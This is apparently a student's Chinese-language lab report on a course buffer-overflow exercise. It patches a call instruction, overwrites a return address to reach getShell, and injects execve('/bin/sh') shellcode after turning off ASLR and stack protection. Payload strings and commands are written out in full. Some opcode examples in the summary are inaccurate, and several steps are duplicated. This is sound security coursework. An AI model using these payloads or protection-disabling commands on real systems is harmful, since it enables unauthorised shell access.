姓名:張嘉月
學號:20222404
實驗日期:2024/09/29 — 2024/10/09
實驗名稱:緩衝區溢位和shellcode
指導教師:王志強
一、實驗內容
- 任務一:手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
- 任務二:利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
- 任務三:注入一個自己製作的shellcode並執行這段shellcode。
二、實驗過程
(一)任務一:手工修改可執行檔案,直接修改程式機器指令,改變程式執行流程
- 下載目標檔案pwn1,修改為學號作為標記後,反彙編(objdump)檢視具體的函式和機器指令。如圖:
其中,第一列為記憶體地址,第二列為機器指令、第三列為對應的組合語言
- 實驗目的是直接跳轉到getShell函式。重點關注以下程式碼(foo,getShell,main)
原理:
"call 8048491 "是指這條指令將呼叫位於地址8048491處的foo函式,即main函式呼叫foo,對應機器指令為“ e8 d7ffffff”。
e8為跳轉的含義,按原本正常流程EIP儲存為由80484b5下一步的80484ba,但因有e8,CPU就會轉而執行 “EIP + d7ffffff”這個位置的指令。
d7ffffff是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491,也就是foo函式的第一行。
因此,我們想讓它呼叫getShell,只要使80484ba+修改值為804847d(gstShell的第一行),即修改“d7ffffff”為,"getShell-80484ba"對應的補碼。
所以修改可執行檔案,將其中的call指令的目標地址由d7ffffff變為c3ffffff。
具體操作:
複製一個pwn2,進入vi內進行操作。
-
1.按ESC鍵
-
2.輸入:%!xxd,將顯示模式切換為16進位制模式
-
3.查詢要修改的內容
/e8 d7(注意空格)
-
4.修改d7為c3
-
5.儲存並退出
-
6.反彙編pwn2檔案,到80484b5處查詢,會發現已經機器命令已經由d7改為c3,而組合語言也顯示“call getShell”,成功。
-
7.可知getShell函式提示符為#,執行pwn2,如圖,說明成功呼叫。
(二)任務二:利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
-
- 反彙編檢視程式,並進行分析。重點看getShell部分。
-
- 確認字串可以覆蓋的長度。進入gdb,輸入“11111111222222223333333344444444555555556666666677777777”,使用info r進行檢視。
注意eip行的值,為0x35353535。
- 確認字串可以覆蓋的長度。進入gdb,輸入“11111111222222223333333344444444555555556666666677777777”,使用info r進行檢視。
-
- 重新注入,這次輸入“11111111222222223333333344444444555555556666666612345678”,同樣適用info r進行檢視。
這個時候eip的值變為了0x34333231。即可確定,最後1234四個數會覆蓋到堆疊上的返回地址。只要把這四個字元的位置對應替換為 getShell 的記憶體地址,輸給pwn,pwn就會執行getShell。
- 重新注入,這次輸入“11111111222222223333333344444444555555556666666612345678”,同樣適用info r進行檢視。
-
- getShell的記憶體地址,透過反彙編時可以看到,即0804847d。不難發現,輸入為1234,但真正覆蓋時變為了0x34333231。可以推測位元組順序為\x7d\x84\x04\x08。
-
- 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一個包含這些16進位制內容的檔案(\x0a表示回車);
- 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一個包含這些16進位制內容的檔案(\x0a表示回車);
-
- 使用16進位制檢視指令xxd input檢視input檔案的內容,確認無誤後使用(cat input;cat) | ./pwn20222404將input中的字串作為可執行檔案的輸入。
- 使用16進位制檢視指令xxd input檢視input檔案的內容,確認無誤後使用(cat input;cat) | ./pwn20222404將input中的字串作為可執行檔案的輸入。
成功獲取shell(11111111222222223333333344444444),即成功呼叫了getShell函式。BOF 注入攻擊完成。
(三)任務三:注入一個自己製作的shellcode並執行這段shellcode。
-
- 輸入以下程式碼調整狀態。
execstack -s pwn3 //設定堆疊可執行
execstack -q pwn3 //查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space //檢視地址隨機化的狀態
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space
- 輸入以下程式碼調整狀態。
-
- 構造要使用的payload
原理:
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
在這種方法中,攻擊者利用緩衝區溢位,將惡意程式碼(shellcode)注入到棧上的緩衝區中。然後,透過覆蓋函式返回地址(retaddr),將執行流轉移到緩衝區中的惡意程式碼。為了增加攻擊的成功性,攻擊者通常在惡意程式碼前面新增一系列無操作指令(nop)或者填充無關資料,以確保惡意程式碼的正確執行。
nop+shellcode+retaddr
在這種方法中,攻擊者同樣將惡意程式碼注入到棧上的緩衝區中,然後透過覆蓋函式返回地址(retaddr),將執行流轉移到緩衝區中的惡意程式碼。與第一種方法不同的是,攻擊者將惡意程式碼放在緩衝區的開頭,而不是結尾,緊接著是一系列無操作指令(nop)。這樣做的目的是為了增加攻擊的成功性,避免惡意程式碼被覆蓋或截斷。
- 構造要使用的payload
本次使用的結構為retaddr+nop+shellcode。使用以下命令進行構造shellcode的輸入(x1x2x3x4是用來佔位的,後續將替換為注入shellcode的地址,也就是foo函式中return address的位置,這個地址需要我們接下來去gdb分析尋找),並將其放入名為input_shellcode的檔案中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
輸入以下命令將input_shellcode的輸入內容作為pwn3的輸入:
(cat input_shellcode; cat) | ./pwn3
!!!注意,這裡輸入(cat input_shellcode; cat) | ./pwn3後,按一下enter,然後開啟一個新終端。
-
- 輸入ps -ef | grep pwn3,檢視檔案的程序以及程序號
這裡第一個程序號"63189"對應於正在執行的名為"pwn3"的程序。第二個程序號"63436"對應於正在執行的名為"grep --color=auto pwn3"的程序,它是透過grep命令來查詢包含字串"pwn3"的程序。因此後續程序號按照“63189”來。
- 輸入ps -ef | grep pwn3,檢視檔案的程序以及程序號
-
- 在新終端中使用gbd除錯,輸入命令attach 63189(剛剛查詢的程序號);輸入命令disassemble foo,反編譯foo。
- 在新終端中使用gbd除錯,輸入命令attach 63189(剛剛查詢的程序號);輸入命令disassemble foo,反編譯foo。
-
- 可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點。輸入命令break *0x080484ae
在新終端輸入c(這個命令會繼續執行程式,直到達到設定的斷點),繼續執行後,在老終端按一下enter鍵。
輸入info r esp檢視棧頂指標所在位置。這個命令用於檢視當前棧頂指標(ESP)的值。棧頂指標指向棧的頂部,也就是最近插入棧的資料的位置。可知棧頂指標所在的位置為0xffffd3ec;
使用x/16x 0xffffcfdc命令檢視該地址處的存放內容,可以看到,此處出現了我們之前注入的輸入0x04030201,這說明找的就是這個地址。
- 可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點。輸入命令break *0x080484ae
因此,棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffd3ec+4=0xffffd3f0
-
- 進行shellcode的注入,將0x04030201換成上述計算出來的位置0xffffd3f0,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然後再輸入(cat input_shellcode; cat) | ./pwn3
成功!
- 進行shellcode的注入,將0x04030201換成上述計算出來的位置0xffffd3f0,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然後再輸入(cat input_shellcode; cat) | ./pwn3
三、總結回顧
(一)部分彙編指令
- NOP(No Operation)指令的機器碼是 0x90。
- JNE(Jump if Not Equal)指令的機器碼是 0x75,後面跟著一個相對偏移量。例如,JNE 0x10 的機器碼錶示為 0x7510。它會根據標誌暫存器中的條件跳轉到指定的程式碼位置,如果不相等則跳轉。
- JE(Jump if Equal)指令的機器碼是 0x74,後面跟著一個相對偏移量。例如,JE 0x10 的機器碼錶示為 0x7410。它會根據標誌暫存器中的條件跳轉到指定的程式碼位置,如果相等則跳轉。
- JMP(Unconditional Jump)指令的機器碼是 0xE9,後面跟著一個相對偏移量。例如,JMP 0x10 的機器碼錶示為 0xE910。它無條件地跳轉到指定的程式碼位置。
- CMP(Compare)指令的機器碼取決於運算元的大小和型別。例如,CMP AX, 0x42 的機器碼錶示為 0x3D 0x42 0x00(假設 AX 暫存器的大小是 16 位)。它會將 AX 暫存器的值與給定的值進行比較,設定條件碼標誌。
(二)問題回顧
1.在任務一中,查詢要修改的內容/e8d7,是查詢不到的。經過觀察,我發現要查詢的位置e8和d7不是相連的,而是f0e8 d7ff,所以試著進行/e8 d7查詢,成功。
2.任務二中的注入字元要加上/x0a表示回車,如果沒有的話,在程式執行時就需要手工按一下Enter鍵。而在任務三中,卻不可以加/x0a。
3.任務三中,老師所給事例有一個坑。區別在於兩種攻擊方式,nop+shellcode+retaddr中攻擊者將惡意程式碼放在緩衝區的開頭,而不是結尾。導致在棧頂與程式碼發生了衝突。所以當改變方式為anything+retaddr+nops+shellcode時就可行了。
4.任務三中,新老終端操作需要注意順序。第一次輸入(cat input_shellcode; cat) | ./pwn3後,按了兩次enter,導致新終端中輸入命令只出現了root 63436 63217 0 23:27 pts/1 00:00:00 grep --color=auto pwn3,從而導致實驗無法正常進行。經查得知"63436"對應於正在執行的名為"grep --color=auto pwn3"的程序,它是透過grep命令來查詢包含字串"pwn3"的程序。而實驗中需要用到的是pwn3執行的程序號。
5.任務三中首先進行了兩個操作,於是進行了緩衝區溢位保護的相關查閱。以下:
緩衝區溢位(Buffer Overflow,簡稱Bof攻擊)攻擊者試圖將超過緩衝區邊界的資料寫入到記憶體中,以執行惡意程式碼或修改程式。對此有以下相關保護措施。
- 輸入驗證:對所有輸入進行驗證和過濾,確保輸入資料的長度不會超出目標緩衝區的容量。
- 使用安全函式:使用安全的函式替換不安全的函式,如使用strncpy替代strcpy、使用snprintf替代sprintf等。
- 棧保護技術:例如使用棧保護/堆保護技術,如棧溢位保護(StackGuard)、裝載預防(/GS)、堆疊保護(StackShield)等,以防止緩衝區溢位攻擊。
- ASLR:地址空間佈局隨機化(Address Space Layout Randomization)透過隨機化系統記憶體佈局,使得攻擊者更難確定關鍵資料和程式碼的位置。
- NX(No eXecute)位:使用硬體支援的記憶體保護功能,將資料區和堆疊標記為不可執行,以阻止攻擊者在緩衝區溢位後執行惡意程式碼。
- 編碼指令檢測:例如使用資料執行防護(DEP)技術,禁止執行堆疊、資料或堆中的非執行指令。
- 記憶體檢查工具:使用記憶體檢查工具來檢測程式執行時的記憶體訪問錯誤,例如使用記憶體檢測工具Valgrind。
- 安全程式設計實踐:編寫安全的程式碼,包括正確使用記憶體操作函式、正確的輸入驗證、避免使用不受信任的輸入來進行記憶體操作等。
而本次實驗中為了實現緩衝區攻擊,便是關掉了其中的棧保護和地址隨機化。
(三)心得體會
本次實驗我參考老師所給資料,積極與同學進行相關交流,理清了緩衝區攻擊的思路,也第一次對機器碼進行了操作,感覺很奇妙。
實驗過程出現了不少插曲,比如做了一半發現忘改主機名,假期前做完了任務一二,回來後想做任務三卻忘記了賬號密碼……於是上網搜尋學習瞭如何重置密碼,也算意外收穫些新內容。總結就是雖然看起來困難很多、不瞭解的知識很多,但實際上只要動手去敲,去搜集資訊,去汲取知識,就會發現其實問題沒有那麼複雜。
以及當初看老師所提供的資料,那句“這是個坑”出來的時候真是眼前一黑……還好問題不算複雜,可以解決。不過參考中給的按排次向上試探尋找的方法感覺略有繞彎。參考同學的方式採用了棧頂指標,感覺很神奇。條條大路通羅馬啊。